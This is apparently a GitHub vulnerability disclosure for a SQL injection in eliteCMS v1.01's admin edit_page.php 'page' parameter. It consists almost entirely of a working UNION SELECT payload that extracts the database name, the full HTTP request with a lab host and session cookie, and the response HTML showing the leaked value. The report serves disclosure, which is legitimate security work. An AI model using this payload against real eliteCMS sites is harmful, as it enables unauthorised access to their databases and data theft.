debug601 Create SQLi-1.md History

1 contributor

26 lines (19 sloc) | 1.04 KB

Elitecms v1.01 by elitecms has SQL injection

vendors: https://elitecms.net/download.php

Vulnerability File: eliteCMS1.01/admin/edit_page.php?page=

Vulnerability location: ip/eliteCMS1.01/admin/edit_page.php?page=, page

dbname: elitecms101

[+] Payload: /eliteCMS1.01/admin/edit_page.php?page=-1%20union%20select%201,database(),3,4,5,6,7,8,9,10,11--+ // Leak place ---> page

```
GET /eliteCMS1.01/admin/edit_page.php?page=-1%20union%20select%201,database(),3,4,5,
Host: 192.168.1.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e
Connection: close
```

```
GET
/eliteCMS1.01/admin/edit_page.
php?page=-1%20union%20select%2
01,database(),3,4,5,6,7,8,9,10
,11--+ HTTP/1.1
Host: 192.168.1.108
User-Agent: Mozilla/5.0
(Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xm
l,application/xml;q=0.9,*/*;q=
0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;
q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=307ef75a2f3ab4c1103d
8a1e90cf120e
Connection: close
```

```
<div class="box bigBox">
<h1>Edit Page</h1>
<form action="/eliteCMS1.01/admin/edit_page.php" method="post">
<table width="600" align="center" cellpadding="0" cellspacing="0" id="page_form">
<tr bgcolor="#EEF7FD">
<td width="27%">Page Titlebar text : :</td>
<td width="73%"><input name="title" type="text" class="input" id="title" value="elitecms101"/></td>
</tr>
<tr>
<td>Page Keywords :</td>
<td><textarea name="keywords" cols="45" rows="5" class="textarea" id="keywords">3</textarea></td>
</tr>
<tr bgcolor="#EEF7FD">
<td>Page Description :</td>
<td><textarea name="description" cols="45" rows="5" class="textarea" id="description">4</textarea></td>
</tr>
<tr>
<td>Page Menu Name :</td>
<td><input name="menu_name" type="text" class="input" id="menu_name" value="5"/></td>
</tr>
<tr bgcolor="#EEF7FD">
<td valign="bottom">Page Position :</td>
<td valign="bottom">
<div id="aPositions">Already acquired positions.<ul><li>Page : Home -- Position : 1</li>
<li>Page : What is eliteCMS -- Position : 2</li>
```